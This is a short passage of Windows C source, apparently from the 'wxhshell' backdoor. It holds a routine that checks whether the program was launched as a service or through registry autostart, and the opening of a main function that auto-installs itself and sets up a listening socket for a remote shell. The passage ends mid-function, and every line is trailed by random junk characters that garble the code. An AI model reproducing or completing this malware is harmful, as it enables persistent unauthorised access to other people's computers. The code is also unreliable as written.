} PROCESS_BASIC_INFORMATION; D#o}cC.
OD5m9XS
PROCNTQSIP NtQueryInformationProcess; DS'n
~}+Hgi
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o0pII )v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h}xeChw]
;
k)@DX
HANDLE hProcess; 3:C oZ
PROCESS_BASIC_INFORMATION pbi; *Q,0W:~-
z-b*D}&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K=,F#kn
if(NULL == hInst ) return 0; 3#TV5+x*"`
=X.9,$Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M6}3wM*4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '60 L~`K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K5XK%Gl"
IhA* "
if (!NtQueryInformationProcess) return 0; (e[}/hf6
Q_Gi]M9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r3\cp0P;s
if(!hProcess) return 0; DuOG {
)'4k|@8|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #/Eb*2C`b
TEaJG9RU>v
CloseHandle(hProcess); V7Mh-]
iySRY^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1Y]TA3:
if(hProcess==NULL) return 0; J52
o
g4l
0gfA#|'
HMODULE hMod; 7=DjI ~
char procName[255]; Yk5}`d!:
unsigned long cbNeeded; ~>+]%FPv
LH@j8YB5u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yx>"bv
A$a1(8H
CloseHandle(hProcess); n2fbp\ I
Q
!(pE&
if(strstr(procName,"services")) return 1; // 以服务启动 (owrdPT!
!OuWPH.
:
return 0; // 注册表启动 &Y^WP?HS
} yfC^x%d7G
$n^gmhp
// 主模块 NvvUSyk\;s
int StartWxhshell(LPSTR lpCmdLine) ;asP4R=
{ QJ7L7S
SOCKET wsl; l!g]a2x*
BOOL val=TRUE; /)>s##p*
int port=0; kVy\b E0o
struct sockaddr_in door; a@0BBihz
6%VV,$p
if(wscfg.ws_autoins) Install(); =F;.l@:
:bC40@
port=atoi(lpCmdLine); Z>^pCc\lH
`2PLWo
if(port<=0) port=wscfg.ws_port; 6O}`i>/6M
#2EI\E&$
WSADATA data; _z1(y}u}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S!sqbLrBn
W<